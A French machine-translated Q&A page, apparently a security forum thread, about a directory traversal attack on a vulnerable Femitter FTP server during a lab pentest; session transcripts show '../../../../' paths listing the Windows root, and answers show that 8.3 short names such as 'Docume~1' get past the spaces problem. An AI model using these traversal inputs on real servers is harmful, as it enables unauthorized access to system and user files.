web-dev-qa-db-fra.com

Attaque de traversée de répertoire FTP sur des répertoires contenant des espaces blancs

Je conduis un pentest sanctionné dans un environnement de référence fermé et je me suis débattu sur un problème apparemment simple que je ne peux actuellement pas résoudre.

Lorsque vous tentez d'exécuter une attaque de traversée de répertoire sur un serveur FTP Fermitter vulnérable s'exécutant sous un système d'exploitation Windows, vous pouvez créer une liste à la racine du système (les adresses et les listes de contenu ont été modifiées ici à titre de référence uniquement):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Toutefois, si je souhaite répertorier le contenu d'un dossier contenant des espaces, tels que Documents and settings, je ne peux pas répertorier le contenu du répertoire, car les espaces sont ignorés.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

J'ai déjà essayé d'utiliser différents clients FTP (CLI et GUI, sous Linux et Windows) et ils ignorent les espaces ou interdisent la navigation dans les répertoires.

Nous avons également essayé de scripter l'attaque sur Python en utilisant d'abord les sockets brutes, puis ftplib, pour envoyer les commandes au format HEX directement au serveur FTP, mais sans succès.

Googler pendant quelques heures n'a pas donné de solution satisfaisante (oui, il y avait beaucoup d'options, mais cela n'a pas fonctionné), c'est pourquoi il y a quelqu'un ici qui a le même problème. Je suis sûr que ce n'est pas la première fois qu'une telle traversée de répertoires avec des espaces est nécessaire.

11
lockout

Solution suggérée par @Dogeatcatworld d'utiliser la notation abrégée du répertoire MS Windows telle que C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Un très bon article de la base de connaissances MS explique la notation du répertoire 8.3: Méthode utilisée par Windows pour générer des noms de fichiers 8.3 à partir de noms de fichiers longs

14
lockout

Le "nom abrégé" correspond en réalité à l'ancienne convention de nommage DOS 8.3. Tous les répertoires seront donc composés des 6 premières lettres suivies de ~ 1, à supposer qu'un seul nom corresponde, par exemple:

C:\ABCDEF ~ 1 - C:\ABCDEFG I AM REPERTOIRE
C:\BCDEFG ~ 1 - C:\BCDEFGHIJKL M Un autre répertoire

Voici la seule exception:

C:\ABCDEF ~ 1 - C:\ABCDEFG I AM REPERTOIRE
C:\ABCDEF ~ 2 - Répertoire C:\ABCDEFGHI également

Source: Comment puis-je trouver le chemin court d'un répertoire/fichier Windows?

1
madsport

Ftp n'utilise pas l'encodage url, donc% xx ne fonctionnera que si vous utilisez ftp dans un navigateur capable de le traduire pour vous.

Essayez plutôt d'utiliser des guillemets, par exemple: ls "../../some dir"

0
wireghoul